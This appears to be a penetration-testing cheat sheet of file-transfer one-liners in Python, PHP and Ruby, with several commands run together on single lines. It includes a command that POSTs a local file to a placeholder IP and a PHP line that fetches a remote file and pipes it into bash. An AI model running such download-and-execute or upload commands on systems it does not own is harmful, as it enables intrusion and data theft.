File Transfer using Programming Languages
python -c 'import urllib.request;urllib.request.urlretrieve("https://$URL/$file", "$outFile")'python3 -m uploadserver #Start server
python3 -c 'import requests;requests.post("http://$IP/$uploadFolder",files={"files":open("$pathToFile","rb")})'php -r '$file = file_get_contents("https://<URL>/<file>"); file_put_contents("<file>",$file);'
#Alternative
php -r 'const BUFFER = 1024; $fremote = fopen("https://<URL>/<file>", "rb"); $flocal = fopen("<file>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
#Alternative 2
php -r '$lines = @file("https://<URL>/<file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bashruby -e 'require "net/http"; File.write("$outFile", Net::HTTP.get(URI.parse("https://$URL/$file")))'Last updated